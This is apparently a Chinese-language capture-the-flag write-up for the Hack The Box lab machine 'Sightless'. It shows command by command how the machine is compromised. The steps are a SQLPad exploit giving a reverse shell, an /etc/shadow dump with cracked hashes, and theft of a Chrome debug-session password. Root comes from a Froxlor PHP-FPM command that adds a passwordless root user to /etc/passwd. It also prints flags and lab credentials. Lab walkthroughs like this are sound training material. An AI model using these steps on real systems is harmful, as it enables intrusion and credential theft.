HTB:Sightless[WriteUP]

时间:2024-11-10 06:58:54

目录

连接至HTB服务器并启动靶机

使用nmap对靶机TCP端口进行开放扫描

继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描

首先尝试对靶机FTP服务进行匿名登录

使用curl访问靶机80端口

使用浏览器可以直接访问该域名

使用浏览器直接访问该子域

Getshell

横向移动

查看用户密码

使用hashid判断哈希值类型

特权提升

USER_FLAG:fe4ebd430e1070f00793fce61187ebb1

查看靶机系统网络连接

直接用浏览器访问本地8080端口页面

使用上述凭证登录到Froxlor面板中

ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33


连接至HTB服务器并启动靶机

靶机IP:10.10.11.32

分配IP:10.10.14.12


使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 06:07 EST
Warning: 10.10.11.32 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.32 (10.10.11.32)
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.72 seconds

继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描

nmap -p 21,22,80 -sCV 10.10.11.32


首先尝试对靶机FTP服务进行匿名登录

ftp 10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.11.32
Connected to 10.10.11.32.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
Name (10.10.11.32:kali): anonymous
550 SSL/TLS required on the control channel
ftp: Login failed
ftp> exit
221 Goodbye.


使用curl访问靶机80端口

curl -I http://10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.32
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Nov 2024 10:58:54 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://sightless.htb/

将靶机IP与该域名进行绑定

echo '10.10.11.32 sightless.htb' >> /etc/hosts

使用浏览器可以直接访问该域名

先对该域名进行一遍简单的子域名搜索

ffuf -u http://sightless.htb/ -H 'Host: FUZZ.sightless.htb' -w ../dictionary/subdomains-top5000.txt -fc 302

再对它进行敏感文件和路径FUZZ

ffuf -u http://sightless.htb/FUZZ -w ../dictionary/Half-Dir.txt -e .bak,.txt,.php,.py,.sh -t 200

这里也是没扫出什么东西来,只能从网页本身的交互点测试

在SQLPad这一栏中,点击Start Now会跳转至:sqlpad.sightless.htb

将该子域与靶机IP进行绑定

echo '10.10.11.32 sqlpad.sightless.htb' >> /etc/hosts

使用浏览器直接访问该子域

显然,这里就是我们找的突破口

我尝试直接在Github上搜索该应用的漏洞

不知道靶机该SQLPad是否存在该漏洞:CVE-2022-0944,但不影响我尝试一下


Getshell

本地侧nc开始监听

nc -lvnp 1425

直接利用该EXP尝试getshell

python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.32] 35302
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root

我没看错吧?直接就是root权限了?尝试查找root_flag的位置

find / -name 'root.txt'

root@c184118df0a6:/var/lib/sqlpad# find / -name 'root.txt'
find / -name 'root.txt'
find: '/sys/devices/virtual/powercap/dtpm': Permission denied

提示没有权限,果然是不出我所料甚至连user_flag都没有权限查看


横向移动

查看根目录

ls /

root@c184118df0a6:/var/lib/sqlpad# ls /
ls /
bin
boot
dev
docker-entrypoint
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

可见目录docker-entrypoint所以我们应该是在docker环境中

查看系统内的用户

cat /etc/passwd

允许登录交互的用户有:root、node、michael

查看用户密码

cat /etc/shadow

root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

这里重点是michael用户的密码,但也先暂时也记一下root用户哈希密码没准后续能用上

root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/

将两条哈希值保存到文件中,便于爆破

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' > michael
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.' > root

使用hashid判断哈希值类型

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < michael
Analyzing '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/'
[+] SHA-512 Crypt
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < root   
Analyzing '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.'
[+] SHA-512 Crypt

通过man命令查询SHA-512在hashcat中的参数

直接开始爆破居然提示没有加载到hash

hashcat -m 1700 michael ../dictionary/rockyou.txt

这种情况多数是因为哈希类型选错了,这次我们试一下1800

这次成功爆破出了密码

hashcat -m 1800 michael ../dictionary/rockyou.txt 

账户:michael

密码:insaneclownposse

接下来,我用弱口令字典跑了ROOT用户的哈希值差不多三分钟

账户:root

密码:blindside

用这个密码直接去登录SSH服务显然是不行的

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh root@10.10.11.32                          
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
root@10.10.11.32: Permission denied (publickey,password).


特权提升

使用michael用户凭证,通过SSH服务登录靶机

ssh michael@10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Sat Nov  9 12:08:37 2024 from 10.10.14.18
michael@sightless:~$ whoami
michael

查找user_flag位置并查看其内容

michael@sightless:~$ find / -name 'user.txt' 2>/dev/null
/home/michael/user.txt
michael@sightless:~$ cat /home/michael/user.txt
fe4ebd430e1070f00793fce61187ebb1

USER_FLAG:fe4ebd430e1070f00793fce61187ebb1


查看靶机系统网络连接

ss -tlnp

尝试通过SSH服务将靶机8080端口映射到本地

ssh -N michael@10.10.11.32 -L 8080:localhost:8080

直接用浏览器访问本地8080端口页面

此时观察靶机系统进程可见,john用户在不断的运行Chrome自动化调试程序(chromedriver)

ps -aux | tee | grep john

我们将这个调试程序占用的端口映射到本地

ssh -N michael@10.10.11.32 -L 59025:localhost:59025

再次查看靶机网络连接

因为不知道该程序还用了哪些端口进行调试,所以我们多转发几个可疑端口

ssh -N michael@10.10.11.32 -L 41829:localhost:41829
ssh -N michael@10.10.11.32 -L 36607:localhost:36607

打开Chrome浏览器,地址栏输入:chrome://inspect/#devices。进入调试配置界面

点击Configure配置好转发端口,这里最好用127.0.0.1不要用localhost

接着就能收到一堆目标向:http://admin.sightless.htb:8080/index.php的调试

接着点击inspect即可进入调试界面

依此点击:Network->index.php->Payload。即可获取登录密码

账户:admin

密码:ForlorfroxAdmin


使用上述凭证登录到Froxlor面板中

在翻找了一顿后,找到了这个东东:PHP-FPM

PHP - FPM是一种基于FastCGI协议的PHP进程管理器,它负责启动、管理PHP进程,根据服务器负载动态调整进程数量,接收Web服务器的PHP请求,有效处理并返回结果,能提高性能、优化内存管理、增强系统稳定性且具有配置灵活性。

这个位置似乎允许我们执行命令

我尝试往/etc/passwd加入一个无密码管理员用户

首先在靶机/tmp目录下新建一个脚本,内容如下

echo "echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd" > test.sh

再将restart command修改为:/bin/bash /tmp/test.sh

过一会再查看/etc/passwd文件,会发现无密码管理员用户已经被成功添加

cat /etc/passwd

切换到0dayhp用户

su 0dayhp

michael@sightless:/tmp$ su 0dayhp
root@sightless:/tmp# whoami
root

查找root_flag位置并查看其内容

root@sightless:/tmp# find / -name 'root.txt'
/root/root.txt
find: ‘/proc/1647/task/1647/net’: Invalid argument
find: ‘/proc/1647/net’: Invalid argument
root@sightless:/tmp# cat /root/root.txt
d24b4ff4e9f46a64036377b1a5cd5d33

ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33